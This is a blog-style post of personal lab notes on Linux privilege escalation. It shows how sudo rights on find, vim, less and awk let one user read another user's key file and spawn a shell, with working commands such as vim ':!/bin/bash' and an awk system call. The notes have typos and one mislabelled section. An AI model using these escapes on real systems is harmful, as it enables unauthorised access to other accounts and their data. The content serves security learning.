Skip to main content
Linux Privilege Escalation
- Privilege escalation with "sudo -l" and "sudo -u"
- With Find command
- where i am logged in with varun user;
- but there is another neptune user which holds some sensitive files;
- when i checked ' sudo -l '. It showed i can use find command on the behalf of neptune user;
- sudo -u neptune find /home/neptune; (it gave me the neptune folder);
- sudo -u neptune find /home/neptune -name ' key.txt ' ; ( it gave me the key now i need to read key.txt file);
- sudo -u neptune find /home/neptune -name key.txt -exec cat {} \;
- I can use bash and then sh also in the place of cat
- With vim command
- Vim Commands:
- ( i = insert ,
- esc = out of insert ,
- :q! = quit without saving ,
- :wq = quit and save,
- :r / (:r /home/user/key.txt ) = to open file,)
- where i am logged in as a varun user;
- but there is another user neptune with other sensitive files;
- when i checked ' sudo -l '. It showed vim command can be used on neptune behalf;
- sudo -u neptune vim /home/neptune key.txt; ( Gave me key with vim open)
- Now i can run command like:
- sudo -u neptune vim; ( It will open vim for me);
- :r /home/neptune/key.txt; this will also output the key.txt file;
- I can run vim as a shell too:
- sudo -u neptune vim;
- :!/bin/bash (press enter); (shell will be started and now I can go inside victim folder as i am a victim now)
- With less command
- where i am logged in as a varun use;
- but there is another user neptunw with other sensitive files;
- when i checked ' sudo -l '. It showwd less command can be used on neptune behalf;
- sudo -u neptune less /home/neptune key.txt; ( Gave me key )
- sudo -u neptune less /etc/passwd (to get a shell, it wil open password file);
- press e ; (it will give you examine mode);
- Examine: /home/neptune/key.txt .(the sensitive directory and file); It will open vim again.
- /bin/bash enter. (find out the senitive file as you are neptune now.)
- With awk programming language : it was allowed
- where i am logged in as a varun use;
- but there is another user neptunw with other sensitive files;
- when i checked ' sudo -l '. It showwd less command can be used on neptune behalf;
- sudo -u victim awk '{print $1}' /home/victim/key.txt (gave me the key);
- sudo -u victim awk 'BEGIN {system("/bin/bash")}' (for the shell)
Comments
Post a Comment